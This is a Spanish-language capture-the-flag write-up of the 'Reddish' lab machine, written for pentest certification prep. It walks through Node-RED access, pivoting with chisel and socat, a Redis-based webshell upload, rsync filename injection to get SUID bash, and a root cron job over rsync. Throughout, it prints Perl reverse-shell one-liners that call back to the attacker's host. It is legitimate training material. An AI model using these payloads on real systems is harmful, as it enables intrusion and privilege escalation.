Reddish Preparación eCPPT
Write-UP Reddish insane
OSCP STYLE
Por Joan Moya ([Link])
Microjoan_youtube Microjoan Microjoan
M Joan Moya (Aka. MicroJoan) Microjoan Microjoan
J
[Link]
[Link]
M [Link]
J
Write-UP Reddish
Preparación eCPPT
Empezaremos con un escaneo básico con Nmap a ver que puertos tiene
abierta esta máquina:
Si entramos con el navegador nos sale un "error" informando de que no
admite peticiones GET:
Por lo que podemos abrir BurpSuite y con "repeater" cambiar el tipo de
petición GET por petición POST:
Y con ello, en la respuesta de la petición POST nos devuelve el ID de la
ruta donde encontraremos el servicio NODE-RED:
M [Link]
J
M Write-UP Reddish
J
A continuación comparto un video en el que se explica como establecer
una conexión por TCP a un equipo juntando distintos "módulos" o
"bloques", dicha conexión nosotros la "interceptaremos" con netcat.
(Ver video)
Esto nos permite tener una shell muy limitada, pero si podemos listar las
distintas interfaces de red con la que cuenta el equipo:
M [Link]
J
M Write-UP Reddish
J
Estabilizamos la shell con una nueva conexión con un payload en perl:
perl -e 'use
Socket;$i="[Link]";$p=1234;socket(S,PF_INET,SOCK_STREAM,getproto
byname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'
Una vez ejecutado este payload (configurando nuestra ip y nuestro nuevo
puerto a la escucha) esciribiremos los siguientes comandos para poder
tener una shell interactiva:
Una vez ejecutado este payload (configurando nuestra ip y nuestro nuevo
puerto a la escucha) esciribiremos los siguientes comandos para poder
tener una shell interactiva:
script /dev/null -c bash
"control+z"
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
Podemos también listar las ip's que tiene asignadas este equipo, de
manera que podemos apuntarnos cual es el nuevo segmento de red que
queremos escanear:
M [Link]
J
M Write-UP Reddish
J
O también podemos tener una sesión con Metasploit y meterpreter
use exploit/multi/handler
set lhost ip_equipo
set lport puerto_escucha
Después, cuando tengamos la sesión, la pondremos como background
presionando "ctrl + z".
Con el comando sessions podremos ver la sesión activa, si solamente
tenemos una sesión, tendrá e id 1, por lo que escribiremos el siguiente
comando para poder tener una sesión con Meterpreter:
sessions -u 1
Acto seguido, entraremos a la sessión (en este caso la de meterpreter con
el id 2) con el siguiente comando:
sessions -i 2
M [Link]
J
M Write-UP Reddish
J
PIVOTING SIN METASPLOIT
OSCP STYLE
M [Link]
J
M Write-UP Reddish
J
Por el momento contamos con una máquina comprometida la cual cuenta
con dos subredes y otra máquina que cuenta con un servidor Apache:
Nuestra
máquina
[Link]
[Link]
[Link]
[Link]
Ahora necesitamos saber los equipos que se encuentran activos en los
distintos segmentos de red, para ello descargaremos el siguiente binario en
bash, el cual escanea los hosts activos en una subred que le pasemos por
parámetro:
Link: [Link]
[Link]
Una vez descargado utilizaremos la función base64 para pasar el código
del .sh a una cadena en base64, una vez hecho eso utilizaremos la
herramienta xclip para guardar la cadena generada en nuestro clipboard de
la terminal y así pegar dicho código en la máquina víctima.
Si no se tiene instalado xclip simplemente lo instalamos con "apt install
xclip"
M [Link]
J
M Write-UP Reddish
J
Para pasar el código del script a base64 y copiarlo a nuestro clipboard
escribiremos:
base64 -w 0 [Link] | xclip -sel clip
En el equipo víctima escribiremos "echo", pegaremos la cadena en base64
y escribiremos a continuación:
echo cadenabase64== | base64 -d > [Link]
Ejecutamos el script (primero dando permisos de ejecución) seguido de la
subred que queremos escanear sin el último binario:
./[Link] 172.19.0
Como ya sabemos en esta subred el equipo "[Link]" es el equipo que
hemos comprometido, por lo que el script nos muestra 3 hosts activos en
esta red:
Comprobamos la otra subred:
M [Link]
J
M Write-UP Reddish
J
Ahora ya sabemos cuantos hosts existen en estas subredes:
[Link]
Nuestra
máquina [Link]
[Link]
[Link] [Link]
[Link] [Link]
nodered
[Link]
Utilizaremos el siguiente script en bash para descubrir los puertos que se
encuentran abiertos en cada una de esas ip:
Link: [Link]
Por lo que se han podido identificar los puertos de cada uno de los equipos:
[Link]
Nuestra
máquina
[Link]
[Link] (P: 80)
[Link]
[Link]
[Link] (P: 6379)
[Link]
nodered
[Link]
(P: 1880)
M [Link]
J
M Write-UP Reddish
J
Dado que ya sabemos como escanear equipos y puertos con 2 binarios y
también sabemos como transferirlos, os proporciono una herramienta en mi
repositorio llamada "pdiscover" con la que pasando el segmento de red y el
rango de puertos que queremos examinar, nos mostrará los equipos y los
puertos abiertos por protocolo TCP:
Ejemplo de funcionamiento:
./[Link] 172.19.0 10000
Insertamos el segmento de Insertamos el puerto
red sin su ultimo bit máximo a escanear
Link de pdiscover: [Link]
M [Link]
J
M Write-UP Reddish
J
El siguiente paso es utilizar la aplicación chisel, la cual nos permitirá hacer un
port forwarding del equipo al que queramos acceder, en este caso vamos a
intentar acceder al equipo [Link] que tiene el puerto 80:
Nuestra
máquina
[Link]
[Link]
(P: 80)
objetivo
[Link]
[Link]
nodered
Instalaremos Chisel desde el siguiente repositorio en nuestro equipo:
Chisel es una herramienta que nos permite crear un servidor y poder hacer el
llamado "remote port forwarding" el cual nos permitirá redireccionar uno de
nuestros puertos locales hacia el puerto de la máquina en el que se ha instalado
este servidor, de manera que tendremos acceso a un puerto de un equipo que
se encuentra en otra subred.
Link: [Link]
Asegúrate de tener go 17.7 instalado: [Link]
git clone <repositorio>
go build . (compilamos la herramienta)
go build -ldflags "-s -w" . (compilamos la herramienta y comprimimos)
upx chisel (upx es un compresor de ejecutables)
Para poder transferir el fichero al equipo víctima, vamos a declarar una
función en bash (dentro de la sesión del equipo víctima) que nos permita
hacer una transferencia de archivos, dicha función la podemos copiar del
siguiente enlace (aquí).
M [Link]
J
M Write-UP Reddish
J
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
Hecho esto, podemos crearnos un servidor HTTP con Python en nuestro
equipo para poder compartir el ejecutable que hemos comprimido
anteriormente de chisel:
python3 -m [Link] 80
Desde la máquina víctima transferimos dicho archivo con la función que
hemos declarado de la siguiente manera:
__curl [Link] > chisel
M [Link]
J
M Write-UP Reddish
J
O también podemos utilizar la siguiente sentencia en perl:
perl -e 'use File::Fetch;$url = "[Link] =
File::Fetch->new(uri => $url);$file = $ff->fetch() or die $ff->error;'
Lo mejor antes de seguir es comprobar que dicho archivo se ha pasado de
manera correcta, para ello utilizaremos la función md5sum para comprobar
que dicho hash que nos genera tanto en nuestro equipo como en el equipo
víctima es el mismo, si es el mismo la integridad del archivo no se ha visto
afectada, por lo que es el mismo contenido.
Equipo comprometido
Nuestro equipo
Para poder ejecutarlo le daremos permisos de ejecución con "chmod +x" y lo
ejecutaremos de la siguiente manera:
M [Link]
J
M Write-UP Reddish
J
Llegados a este punto, ahora queremos que nuestro puerto 80 (localhost) sea
el puerto 80 de nuestro equipo víctima que se encuentra en otro segmento de
red, por lo que con Chisel vamos a crear un servidor y "decirle" que queremos
que nuestro puerto 80 sea el puerto 80 de el equipo [Link]
El primer paso es desde nuestro equipo crear un tunel "a la escucha" con
Chisel:
./chisel server --reverse -p 5001
Nuestra
máquina
[Link]
[Link]
(P: 80)
objetivo
[Link]
Chisel P:5001
Hecho esto, en la máquina víctima ejecutaremos Chisel pero en este caso lo
que haremos es una conexión a nuestro servidor local de Chisel, "diciendole"
que queremos conectarnos a nuestra ip al puerto 5001. Además le diremos
que el puerto 80 de [Link] será nuestro puerto 80:
./chisel client tu_ip:5001 R:80:[Link]:80 &
Conéctate a este equipo Convierte el puerto 80 del
(nuestro equipo local) al equipo [Link] en nuestro
puerto 5001 puerto 80
M [Link]
J
M Write-UP Reddish
J
Visualización en terminal:
Equipo comprometido
Nuestro equipo
Esquema de funcionamiento actual:
Nuestra
máquina
[Link]
[Link]
(P: 80)
objetivo
[Link]
5001
El puerto 80 de nuestra máquina es el puerto 80 de la máquina víctima
M [Link]
J
M Write-UP Reddish
J
Si vemos el código fuente, podremos comprobar que existen diversas
funciones, las cuales una de ellas es "incrCounter" y "getData", además de
algunos directorios.
La función "incrCounter" se encarga de guardar la cantidad de veces que se
ha entrado a esta página web, por lo que podemos verlo en consola:
Y también tenemos un directorio en la función "backupDatabase()" al cual no
tenemos acceso:
M [Link]
J
M Write-UP Reddish
J
El siguiente paso es conectarnos al equipo [Link] el cual tiene el puerto
1880 abierto, para ello haremos lo mismo que en el host anterior,
configurando Chisel en modo cliente en el equipo pwned y modo servidor en
nuestro equipo:
Equipo comprometido
Nuestro equipo
Esquema de funcionamiento actual:
Nuestra
máquina
[Link]
[Link]
(P: 1880)
objetivo
[Link]
5001
El puerto 1880 de nuestra máquina es el puerto 1880 de la máquina víctima
Si se intenta acceder a dicho puerto, nos encontramos con la misma
configuración que el primer servicio Node que nos hemos encontrado al
principio de la máquina:
M [Link]
J
M Write-UP Reddish
J
Por lo que debemos interceptarlo con BurpSuite y cambiar la petición GET
por una petición POST, de tal manera que obtendremos la ruta del servicio:
Ahora ya tendremos acceso al servicio Node-Red del equipo [Link] a
través de nuestro puerto 1880:
M [Link]
J
M Write-UP Reddish
J
En el equipo [Link] nos encontramos con el puerto 6379, en este caso
cuenta con un servicio Redis, para ello vamos a establecer conexión con el
puerto de dicho equipo:
[Link]
(P: 6379)
Para poder escanear dicho puerto, nos haremos un escaneo de nuestro
equipo, así tendremos mas detalles del servicio:
nmap -sV -p 6379 [Link]
En HackTricks tenemos una guía de como explotar este servicio (link a la
guía).
M [Link]
J
M Write-UP Reddish
J
Nos conectaremos al servicio con netcat a nuestro equipo local:
nc [Link] 6379
Con el comando "INFO keyspace" podremos visualizar cuantas claves
existen y en definitiva cuantas bases de datos hay disponibles en el servicio:
Y con la siguiente guía de HackTricks podemos listar el contenido de las
siguientes claves:
Tenemos un total de 16 "hits" en la máquina [Link] que contenía el
puerto 80 abierto, recordaremos que teníamos una función en el código la
cual cuando accedíamos a ella nos mostraba un contador de las veces que
se había visitado esa página web por consola, lo que quiere decir que esta
base de datos está relacionada con el servicio web.
M [Link]
J
M Write-UP Reddish
J
Nos conectaremos al servicio con netcat a nuestro equipo local:
nc [Link] 6379
Con el comando "INFO keyspace" podremos visualizar cuantas claves
existen y en definitiva cuantas bases de datos hay disponibles en el servicio:
Y con la siguiente guía de HackTricks podemos listar el contenido de las
siguientes claves:
Tenemos un total de 16 "hits" en la máquina [Link] que contenía el
puerto 80 abierto, recordaremos que teníamos una función en el código la
cual cuando accedíamos a ella nos mostraba un contador de las veces que
se había visitado esa página web por consola, lo que quiere decir que esta
base de datos está relacionada con el servicio web.
M [Link]
J
M Write-UP Reddish
J
Esquema actual: [Link]
[Link]
Nuestra
(P: 80)
máquina
[Link]
[Link]
[Link]
[Link] (P: 6379)
[Link]
nodered
[Link]
(P: 1880)
En la guía de HackTricks podemos encontrar un parámetro el cual nos indica
como subir archivos con redis-cli, para ello, instalaremos dicha herramienta
de la siguiente manera:
sudo apt-get install redis-tools
Para poder subir archivos, iremos al apartado de HackTricks y replicaremos
la siguiente secuencia:
M [Link]
J
M Write-UP Reddish
J
Como no sabemos donde insertar el archivo, nos iremos a nuestro puerto 80
y intentaremos encontar alguna ruta absoluta en la que poder insertar una
webshell, inspeccionand código tenemos 4 directorios donde podríamos
insertar un archivo:
Se puede suponer que estos directorios se encuentran en "/var/www/html/"
Paso 1: Crearemos en el escritorio un archivo llamado "[Link]" con el
comando "nano" dejando 3 líneas de separación en la parte superior y 2
saltos de línea en la parte inferior:
M [Link]
J
M Write-UP Reddish
J
Paso 3: Insertar la webshell:
cat [Link] | redis-cli -h [Link] -x set reverse
redis-cli -h [Link] config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
redis-cli -h [Link] config set dbfilename "[Link]"
redis-cli -h [Link] save
El resultado sería el siguiente:
Al parecer hay una tarea que cada cierto tiempo borra el archivo que se ha
subido, por lo que podemos crear un script con todas esas tareas que nos
suba la webshell de manera sencilla:
M [Link]
J
M Write-UP Reddish
J
Si insertamos el comando "hostname -I" podremos ver que ip's le pertenecen
a esta máquina y así ver si tiene otro segmento de red.
Por lo que esta máquina se podría considerar como pwned y además hemos
encontrado otro segmento de red:
Esquema actual:
[Link]
[Link]
(P: 80)
Nuestra [Link]
máquina
[Link]
[Link]
[Link]
[Link] (P: 6379)
[Link]
nodered
[Link]
(P: 1880)
M [Link]
J
M Write-UP Reddish
J
Ahora el siguiente paso es desde la máquina que tenemos la ejecución de
comandos ([Link]) conseguir una reverse shell a la máquina nodered y
redirigir ese tráfico a nuestra máquina local con una herramienta llamada
Socat:
Esquema conceptual:
<-- Redirección de rShell a [Link] <-- rShell a 10.10.94
Nuestra
máquina
[Link]
(P: 80)
[Link] [Link]
[Link]
[Link] [Link]
nodered (P: 6379)
Port forwarding 6379 Chilsel
Port forwarding 80 Chisel
Paso 1: Descargaremos el binario compilado de Socat desde el siguiente
enlace (aquí).
Paso 2: Abrir servidor HTTP desde nuestro equipo atacante para
compartir el binario socat:
python3 -m [Link] 82
Paso 3: Transferir el archivo desde nodered con la siguiente sentencia y
le daremos permiso de ejecución:
perl -e 'use File::Fetch;$url = "[Link] =
File::Fetch->new(uri => $url);$file = $ff->fetch() or die $ff->error;'
M [Link]
J
M Write-UP Reddish
J
Paso 4: abrimos conexión por el puerto 2001
nc -nlvp 2001
Paso 6: Configuramos Socat en nodered de la siguiente manera
./socat TCP-LISTEN:2000,fork TCP:[Link]:2001 &
cualquier conexión entrante me la rediriges a la ip de mi
al puerto 2000 (que va a ser equipo al puerto 2001, y me
la reverse shell que vamos a dejas el proceso en segundo
ejecutar ahora) plano.
Paso 7: Volveremos a subir la webshell con el script que nos hemos
creado por el puerto 6379.
Paso 8: Introduciremos el siguiente comando en Perl dentro de la
webshell para crear una reverse shell al equipo nodered el cual redirigirá
dicha conexión a nuestro equipo local:
perl -e 'use
Socket;$i="[Link]";$p=2000;socket(S,PF_INET,SOCK_STREAM,getprot
obyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/s
h -i");};'
(Pasaremos este payload en url-encode)
M [Link]
J
M Write-UP Reddish
J
Estabilizaremos la shell:
script /dev/null -c bash
"control+z"
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
Si entramos en el directorio /home nos podemos encontrar con 2
usuarios:
En el usuario "somaro" encontraremos un fichero llamado "[Link]" al cual
no tenemos permisos de lectura:
Examinando el equipo, en el directorio raíz podemos encontrar un
directorio llamado "backup" que puede ser de principal interés:
M [Link]
J
M Write-UP Reddish
J
Dentro de este directorio nos encontramos un script en bash llamado
"[Link]" al cual tenemos permisos de lectura:
Según se puede interpretar, dicho script copia todos los archivos de extensión
".rdb" de un directorio en /html y los manda a "backup:873" que se puede
suponer que es una máquina de otro segmento de red, como ya sabemos, esta
máquina en la cual tenemos acceso tiene también acceso al segmento de red
[Link], veamos otra vez el diagrama que hemos ido descubriendo de la red:
<-- Redirección de rShell a [Link] <-- rShell a 10.10.94
Nuestra
máquina
[Link]
(P: 80)
[Link] [Link]
[Link]
[Link] [Link]
nodered (P: 6379)
Port forwarding 6379 Chilsel
Port forwarding 80 Chisel
M [Link]
J
M Write-UP Reddish
J
Como hemos visto, dicho comando "rsync" es el que se utiliza para mandar los
datos a otro servidor.. ¿podremos explotar este comando?.
Para ello nos iremos a GTFOBins y comprobaremos si es explotable de alguna
manera:
[Link]
Con el comando "-e" podemos hacer una ejecución de comandos, por lo que
podríamos crear un archivo ".rdb" con el parámetro "-e" y el comando que
queramos ejecutar e intentar aprovecharnos de ello... Vamos a verlo.
Paso 1: Crearemos un archivo llamado "-e sh [Link]"
-e: "comando a interpretar"
sh: ejecútame en shell el siguiente archivo
Paso 2: Creamos un archivo llamado "[Link]" el cual contendrá una
reverse shell.
M [Link]
J
M Write-UP Reddish
J
Como hemos visto, dicho comando "rsync" es el que se utiliza para mandar los
datos a otro servidor.. ¿podremos explotar este comando?.
Para ello nos iremos a GTFOBins y comprobaremos si es explotable de alguna
manera:
[Link]
Con el comando "-e" podemos hacer una ejecución de comandos, por lo que
podríamos crear un archivo ".rdb" con el parámetro "-e" y el comando que
queramos ejecutar e intentar aprovecharnos de ello... Vamos a verlo.
Paso 1: Crearemos un archivo llamado "-e sh [Link]"
-e: "comando a interpretar"
sh: ejecútame en shell el siguiente archivo
Paso 2: Creamos un archivo llamado "[Link]" el cual contendrá una
sentencia que le añadirá a la bash los permisos del usuario de quien ejecuta
ese archivo, como podemos ver, "[Link]" pertenece a root:
M [Link]
J
M Write-UP Reddish
J
Crearemos el archivo a ejecutar (en este caso llamado [Link]) con la
siguiente sentencia en el directorio que indica el script:
#!/bin/bash
chmod u+s /bin/bash
Si el grupo s de permisos tiene el bit de usuario establecido (correspondiente a u+s),
entonces cada vez que alguien ejecuta ese programa, el proceso adquiere los privilegios
de quien lo posee.
Con esta sentencia anterior, le estamos diciendo que añada los permisos del
usuario que esta ejecutando este comando (root) a la bash, por lo que bash
tendrá permisos de root temporalmente.
Nos crearemos este archivo en nuestro equipo y lo pasaremos al equipo víctima
por base64 como hemos hecho anteriormente:
Nuestro equipo
Equipo víctima
Después con "touch" crearemos un archivo de la siguiente manera:
touch -- '-e sh [Link]'
M [Link]
J
M Write-UP Reddish
J
De manera que, cuando el usuario root ejecute este script (se entiende que es
una tarea programada) la shell pasará a tener usuarios de root, esto podemos
comprobarlo en unos segundos cuando veamos que los archivos del directorio
se han borrado con el comando "bash -p":
Y con ello ya podemos leer la primer flag:
Pasando por base64 el binario "pdiscover" para hacer un escaneo del segmento
de red (con puertos) al que tiene acceso se han podido conseguir el siguiente
resultado, pero antes debemos tener permisos para el protocolo ICMP con el
siguiente comando "chmod u+s /bin/ping"
M [Link]
J
M Write-UP Reddish
J
De manera que, cuando el usuario root ejecute este script (se entiende que es
una tarea programada) la shell pasará a tener usuarios de root, esto podemos
comprobarlo en unos segundos cuando veamos que los archivos del directorio
se han borrado con el comando "bash -p":
Y con ello ya podemos leer la primer flag:
Pasando por base64 el binario "pdiscover" para hacer un escaneo del segmento
de red (con puertos) al que tiene acceso se han podido conseguir el siguiente
resultado, pero antes debemos tener permisos para el protocolo ICMP con el
siguiente comando "chmod u+s /bin/ping"
M [Link]
J
M Write-UP Reddish
J
Por lo que el mapa de red cambia:
<-- Redirección de rShell a [Link] <-- rShell a 10.10.94
Nuestra
[Link]
máquina
[Link]
(P: 80)
[Link] [Link]
[Link]
[Link] (P:873)
[Link] [Link]
nodered (P: 6379)
Port forwarding 6379 Chilsel
Port forwarding 80 Chisel
Se aprecia que la nueva máquina [Link] tiene abierto el puerto 873, por lo
que me da a entender que en el script "[Link]" donde se hacía la copia del
directorio HTML que hemos explotado hace referencia a este equipo.
Ahora que somos root, ¿podremos listar el contenido con rsync de este equipo?
Ahora la idea es tener una reverse shell del equipo [Link], podríamos subir
socat al equipo en el que nos encontramos ([Link]) y ponernos a la escucha
subiendo una reverse shell en perl al equipo [Link] que se ejecutará con un
cron.
Paso 1: subir socat a la máquina [Link], en mi caso he utilizado la
transferencia por xclip de la cadena en base64 del binario.
M [Link]
J
M Write-UP Reddish
J
Paso 2: Creamos una tarea cron que subiremos por rsync al equipo víctima
que diga lo siguiente:
* * * * * root sh /tmp/[Link]
"quiero que cada minuto
"por sh el fichero [Link] que
el usuario root ejecute..."
se encuentra en el directorio tmp"
Insertamos esta sentencia dentro de un archivo (dentro de /tmp) con:
echo '* * * * * root sh /tmp/[Link]' > reverse
Paso 2: Insertamos el archivo reverse por rsync al equipo víctima mediante
rsync al directorio "cron.d" donde se encuentran los cronjobs:
rsync reverse rsync://[Link]/src/etc/cron.d/reverse
Paso 3: Redireccionar con socat a [Link] que tiene el puerto 2000 a la
escucha que lo redirigirá a nuestro puerto 2001 que pondremos a la
escucha.
M [Link]
J
M Write-UP Reddish
J
Paso 2: Creamos una tarea cron que subiremos por rsync al equipo víctima
que diga lo siguiente:
* * * * * root sh /tmp/[Link]
"quiero que cada minuto
"por sh el fichero [Link] que
el usuario root ejecute..."
se encuentra en el directorio tmp"
Insertamos esta sentencia dentro de un archivo (dentro de /tmp) con:
echo '* * * * * root sh /tmp/[Link]' > reverse
Paso 2: Insertamos el archivo reverse por rsync al equipo víctima mediante
rsync al directorio "cron.d" donde se encuentran los cronjobs:
rsync reverse rsync://[Link]/src/etc/cron.d/reverse
Creamos un archivo sh con la siguiente sentencia y lo insertamos dentro
del mismo directorio de rsync:
perl -e 'use
Socket;$i="[Link]";$p=9999;socket(S,PF_INET,SOCK_STREAM,getpr
otobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'
Paso 3: Traspasamos el contenido de la reverse shell por base64 y subimos
el archivo por rsync:
rsync [Link] rsync://[Link]/src/tmp/[Link]
M [Link]
J
M Write-UP Reddish
J
Paso 4: Ponemos a socat a la escucha por el puerto 9999 desde la ip
[Link]:
./socat TCP-LISTEN:9999 stdout
Estabilizaremos la shell:
script /dev/null -c bash
"control+z"
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
Por ultimo en el directorio /dev podremos encontrarnos con 3 particiones:
Montamos una de las particiones, pero antes vamos a crear un directorio para
ello dentro de tmp con mkdir:
M [Link]
J
M Write-UP Reddish
J
Al montarlo no encontré nada de interés, por lo que he creado otro segundo
directorio test y he montado dentro la partición sda2 en la cual se encuentra el
directorio root con la flag:
M [Link]
J